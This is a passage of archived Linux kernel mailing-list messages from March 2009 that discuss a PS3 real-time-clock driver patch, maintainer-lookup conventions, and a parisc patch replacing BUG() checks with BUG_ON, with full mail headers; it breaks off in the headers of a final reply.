In-Reply-To: <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Enigmail-Version: 0.95.7
X-OriginalArrivalTime: 09 Mar 2009 18:35:59.0266 (UTC) FILETIME=[E429A820:01C9A0E5]
X-SEL-encryption-scan: scanned
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1368 gmane.linux.ports.ppc64.devel:53293 gmane.linux.ports.m68k:532 gmane.linux.kernel:804436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1368>

On 03/09/2009 06:26 AM, Geert Uytterhoeven wrote:
> Create a real RTC driver for PS3, and unhook the deprecated
> ppc_md.[gs]et_rtc_time.

>  8 files changed, 132 insertions(+), 18 deletions(-)

Sorry, I hadn't been following the discussion closely, but
could you explain why we are going from a generic framework
where we hook in our platform specific part to a totally
independent driver that has such an increase in code size.

Why couldn't you fix the generic part so that udev could
load it automatically?

I much prefer to have this code in the platform support
code as it was.  It is much more effort (a pain) to maintain
a separate driver were I have to cater to a subsystem's
maintainer, and with this rtc it seems everyone who was
using the generic PPC driver will need to do the same.

-Geoff

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geoff Levand <geoffrey.levand@am.sony.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 12:06:56 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <49B568D0.5000901@am.sony.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>	<20090309151216.17f13862@i1501.lan.towertech.it>	<49B55A21.2010801@am.sony.com> <20090309194307.154f3e95@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236625639 13765 80.91.229.12 (9 Mar 2009 19:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 19:07:19 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Geert.Uytterhoeven@sonycom.com,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Joe Perches <joe@perches.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 20:08:35 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lgkq2-0008IZ-8O
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 20:08:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753203AbZCITHK (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 15:07:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752813AbZCITHK
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 15:07:10 -0400
Original-Received: from tx2ehsobe001.messaging.microsoft.com ([65.55.88.11]:34919 "EHLO
	TX2EHSOBE001.bigfish.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752619AbZCITHI (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 15:07:08 -0400
Original-Received: from mail118-tx2-R.bigfish.com (10.9.14.244) by
 TX2EHSOBE001.bigfish.com (10.9.40.21) with Microsoft SMTP Server id
 8.1.340.0; Mon, 9 Mar 2009 19:07:03 +0000
Original-Received: from mail118-tx2 (localhost.localdomain [127.0.0.1])	by
 mail118-tx2-R.bigfish.com (Postfix) with ESMTP id B7B5E1620250;	Mon,  9 Mar
 2009 19:07:02 +0000 (UTC)
X-BigFish: VPS-50(zz1418M1432R98dR936eQ1805M936fK9371Pzzzzz2fh6bh62h)
X-Spam-TCS-SCL: 1:0
X-FB-SS: 5,
Original-Received: by mail118-tx2 (MessageSwitch) id 1236625621292915_30229; Mon,  9
 Mar 2009 19:07:01 +0000 (UCT)
Original-Received: from mail8.fw-sd.sony.com (mail8.fw-sd.sony.com [160.33.66.75])	by
 mail118-tx2.bigfish.com (Postfix) with ESMTP id 1DA461630056;	Mon,  9 Mar
 2009 19:07:01 +0000 (UTC)
Original-Received: from mail3.sjc.in.sel.sony.com (mail3.sjc.in.sel.sony.com
 [43.134.1.211])	by mail8.fw-sd.sony.com (8.14.2/8.14.2) with ESMTP id
 n29J70Qi016075;	Mon, 9 Mar 2009 19:07:00 GMT
Original-Received: from ussdixhub21.spe.sony.com (ussdixhub21.spe.sony.com
 [43.130.141.76])	by mail3.sjc.in.sel.sony.com (8.12.11/8.12.11) with ESMTP id
 n29J6ck6011584;	Mon, 9 Mar 2009 19:07:00 GMT
Original-Received: from USSDIXRG02.am.sony.com (43.130.140.32) by
 ussdixhub21.spe.sony.com (43.130.141.76) with Microsoft SMTP Server id
 8.1.340.0; Mon, 9 Mar 2009 12:06:57 -0700
Original-Received: from ussdixms03.am.sony.com ([43.130.140.23]) by
 USSDIXRG02.am.sony.com with Microsoft SMTPSVC(5.0.2195.6713);	 Mon, 9 Mar
 2009 12:06:57 -0700
Original-Received: from [192.168.1.10] ([43.135.148.226]) by ussdixms03.am.sony.com
 with Microsoft SMTPSVC(5.0.2195.6713);	 Mon, 9 Mar 2009 12:06:57 -0700
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090309194307.154f3e95@i1501.lan.towertech.it>
X-Enigmail-Version: 0.95.7
X-OriginalArrivalTime: 09 Mar 2009 19:06:57.0203 (UTC) FILETIME=[37945830:01C9A0EA]
X-SEL-encryption-scan: scanned
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:533 gmane.linux.ports.parisc:1369 gmane.linux.ports.ppc64.devel:53294 gmane.linux.kernel:804441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1369>

Hi,

On 03/09/2009 11:43 AM, Alessandro Zummo wrote:
> Geoff Levand <geoffrey.levand@am.sony.com> wrote:
>> On 03/09/2009 07:12 AM, Alessandro Zummo wrote:
>> > On Mon,  9 Mar 2009 14:26:23 +0100
>> > Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
>> >> +
>> >> +MODULE_AUTHOR("Sony Corporation");
>> > 
>> >  real name, if possible and a contact address
>> >  here . Just in case I need someone to bother :)
>> 
>> Please look at the MAINTAINERS file, that will give
>> the contact for PS3.  It is much easier to maintain
>> a single place for the contact than many spread
>> throughout the kernel sources.
> 
>  Having it in MODULE_AUTHOR allow my scripts to automatically
>  send an email when appropriate.
> 
>  MAINTAINERS lists the files with an arbitrary
>  driver title so that the search must be made by an human and there's
>  no field that links a person to a specific .c .
> 
>  so every time I want to address someone I need to check MODULE_AUTHOR,
>  the git log and the MAINTAINERS file.

I see.  It seems what you want is MODULE_MAINTAINER, as author is
the author, who after some time, may not be the maintainer any more.

There was some work by Joe Perches to list the files a maintainer is
responsible for into the MAINTAINERS file.  I think that would give
you what you want, a way to automatically get the maintainer of a
file.

Joe, could you let us know the status of that work?

-Geoff

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 09 Mar 2009 12:18:42 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1236626322.8307.9.camel@localhost>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <20090309151216.17f13862@i1501.lan.towertech.it>
	 <49B55A21.2010801@am.sony.com>
	 <20090309194307.154f3e95@i1501.lan.towertech.it>
	 <49B568D0.5000901@am.sony.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236626342 16346 80.91.229.12 (9 Mar 2009 19:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 19:19:02 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Geert.Uytterhoeven@sonycom.com,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Geoff Levand <geoffrey.levand@am.sony.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 20:20:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lgl1J-0004Z9-Ac
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 20:20:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751641AbZCITSu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 15:18:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751653AbZCITSt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 15:18:49 -0400
Original-Received: from 136-022.dsl.LABridge.com ([206.117.136.22]:1592 "EHLO
	mail.perches.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751627AbZCITSs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 15:18:48 -0400
Original-Received: from [192.168.1.155] ([192.168.1.155])
	by mail.perches.com (8.9.3/8.9.3) with ESMTP id LAA16889;
	Mon, 9 Mar 2009 11:18:04 -0800
In-Reply-To: <49B568D0.5000901@am.sony.com>
X-Mailer: Evolution 2.24.2-1.2mdv2009.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1370 gmane.linux.ports.ppc64.devel:53295 gmane.linux.ports.m68k:534 gmane.linux.kernel:804444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1370>

On Mon, 2009-03-09 at 12:06 -0700, Geoff Levand wrote:
> There was some work by Joe Perches to list the files a maintainer is
> responsible for into the MAINTAINERS file.  I think that would give
> you what you want, a way to automatically get the maintainer of a
> file.
> 
> Joe, could you let us know the status of that work?

I think it works fine, and is an acceptable
approach to finding a maintainer for either a
patch or a specific file.

The changes I've posted are probably not suitable
for merging by anyone other than Linus as
MAINTAINERS is the most heavily modified file
in the kernel tree.

I've submitted it several times after merging it
with the latest kernel without response from Linus.

I'd merge and submit it again if it could be accepted.

If someone would propose a mechanism that would
improve the possibility to get it merged, I'd
also appreciate that.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stoyan Gaydarov <stoyboyker@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 17/25] [parisc] BUG to BUG_ON changes
Date: Tue, 10 Mar 2009 00:10:42 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <1236661850-8237-18-git-send-email-stoyboyker@gmail.com>
References: <1236661850-8237-1-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-2-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-3-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-4-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-5-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-6-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-7-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-8-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-9-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-10-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-11-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-12-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-13-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-14-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-15-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-16-git-send-email-stoyboyker@gmail.com>
 <1236661850-8237-17-git-send-email-stoyboyker@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236661998 11941 80.91.229.12 (10 Mar 2009 05:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Mar 2009 05:13:18 +0000 (UTC)
Cc: Stoyan Gaydarov <stoyboyker@gmail.com>, kyle@mcmartin.ca,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 10 06:14:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LguIF-0007SH-Og
	for glpp-linux-parisc@gmane.org; Tue, 10 Mar 2009 06:14:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753156AbZCJFLz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Mar 2009 01:11:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753564AbZCJFLz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Mar 2009 01:11:55 -0400
Original-Received: from an-out-0708.google.com ([209.85.132.245]:28373 "EHLO
	an-out-0708.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753762AbZCJFLw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Mar 2009 01:11:52 -0400
Original-Received: by an-out-0708.google.com with SMTP id c2so1060697anc.1
        for <multiple recipients>; Mon, 09 Mar 2009 22:11:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=gyPz4GY4OMuOyZJKqGCf6jw7LaRtcrj28EL6t7++ykM=;
        b=O1I7GBmH14UbmYN3E/hPrGLuWXLHl7FiILDmFThrKYfjK+an5f/27/fIXZq+/cvQ7y
         gV2yHWGKa3SRlVofBAGuT+Yu8iRXbbI0/qve1aDWGi0/pkfqAC7FocNFG+2Tr3Dlo8nY
         O8KwDTirplprRiclkhpg5swA/b7AW8FYs/U5s=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=F0JFzGt8/SaS8YYFRDga0Il5EKlfzkNj5q0qx+TpmpxRBEERbnReHG0b3uZyFrVxVA
         IMX/xSb5rY+3nkPRcwUADqDWRHQxlj9Yv8F/H+4YWhGmrZou+Yl/Hw7oVMu5uEwzrLI8
         lzpAyi4slakuAfBEWVl2o0E0VhUVXX/q/7kLE=
Original-Received: by 10.100.142.19 with SMTP id p19mr4130101and.43.1236661911203;
        Mon, 09 Mar 2009 22:11:51 -0700 (PDT)
Original-Received: from localhost.localdomain (ppp-70-225-161-38.dsl.chmpil.ameritech.net [70.225.161.38])
        by mx.google.com with ESMTPS id c23sm8940194ana.52.2009.03.09.22.11.49
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 09 Mar 2009 22:11:50 -0700 (PDT)
X-Mailer: git-send-email 1.6.1.3
In-Reply-To: <1236661850-8237-17-git-send-email-stoyboyker@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1371 gmane.linux.kernel:804588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1371>

Signed-off-by: Stoyan Gaydarov <stoyboyker@gmail.com>
---
 arch/parisc/kernel/pci-dma.c |   12 ++++--------
 1 files changed, 4 insertions(+), 8 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index df47895..2587563 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -480,8 +480,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 {
 	int i;
 
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	for (i = 0; i < nents; i++, sglist++ ) {
 		unsigned long vaddr = sg_virt_addr(sglist);
@@ -496,8 +495,7 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 {
 	int i;
 
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	if (direction == DMA_TO_DEVICE)
 	    return;
@@ -511,16 +509,14 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
 }
 
 static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
 }
-- 
1.6.1.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k
Subject: Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Tue, 10 Mar 2009 10:21:14 +0100 (CET)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903101015470.24318@vixen.sonytel.be>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <49B5618E.9050501@am.sony.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236676922 10629 80.91.229.12 (10 Mar 2009 09:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Mar 2009 09:22:02 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geoff Levand <geoffrey.levand@am.sony.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754382AbZCJJVc@vger.kernel.org Tue Mar 10 10:23:14 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754382AbZCJJVc@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgyAw-0002XP-Ch
	for glk-linux-kernel-3@gmane.org; Tue, 10 Mar 2009 10:23:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754382AbZCJJVc convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 10 Mar 2009 05:21:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753206AbZCJJVU
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 10 Mar 2009 05:21:20 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:60796 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752592AbZCJJVT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 10 Mar 2009 05:21:19 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 06D2F58AD0;
	Tue, 10 Mar 2009 10:21:15 +0100 (MET)
In-Reply-To: <49B5618E.9050501@am.sony.com>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:804649 gmane.linux.ports.parisc:1372 gmane.linux.ports.ppc64.devel:53307 gmane.linux.ports.m68k:535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1372>

On Mon, 9 Mar 2009, Geoff Levand wrote:
> On 03/09/2009 06:26 AM, Geert Uytterhoeven wrote:
> > Create a real RTC driver for PS3, and unhook the deprecated
> > ppc_md.[gs]et_rtc_time.
>=20
> >  8 files changed, 132 insertions(+), 18 deletions(-)
>=20
> Sorry, I hadn't been following the discussion closely, but
> could you explain why we are going from a generic framework
> where we hook in our platform specific part to a totally
> independent driver that has such an increase in code size.

Alessandro prefers not to have generic RTC drivers on top of some other
abstraction, but wants platform/chip-specific drivers under drivers/rtc=
/
instead. The goal is to convert all RTC drivers buried in platform code
to separate RTC drivers.

(Alessandro, please correct me if I'm wrong)

> Why couldn't you fix the generic part so that udev could
> load it automatically?

BTW, I also fixed the generic part, which is now called rtc-generic and
autoloaded (patch 4).

> I much prefer to have this code in the platform support
> code as it was.  It is much more effort (a pain) to maintain
> a separate driver were I have to cater to a subsystem's
> maintainer, and with this rtc it seems everyone who was
> using the generic PPC driver will need to do the same.

They can keep on using rtc-generic for now (patch 6).

If you do not want rtc-ps3, you can nak it, and keep on using rtc-gener=
ic :-)
But please consider before doing that...

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010

From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geoff Levand <geoffrey.levand@am.sony.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Tue, 10 Mar 2009 09:18:52 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <49B692EC.1020505@am.sony.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236702133 30910 80.91.229.12 (10 Mar 2009 16:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Mar 2009 16:22:13 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 10 17:23:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lh4jQ-0007FS-3C
	for glpp-linux-parisc@gmane.org; Tue, 10 Mar 2009 17:23:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755453AbZCJQUq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Mar 2009 12:20:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755397AbZCJQUq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Mar 2009 12:20:46 -0400
Original-Received: from outbound-sin.frontbridge.com ([207.46.51.80]:9304 "EHLO
	SG2EHSOBE003.bigfish.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751999AbZCJQUo (ORCPT
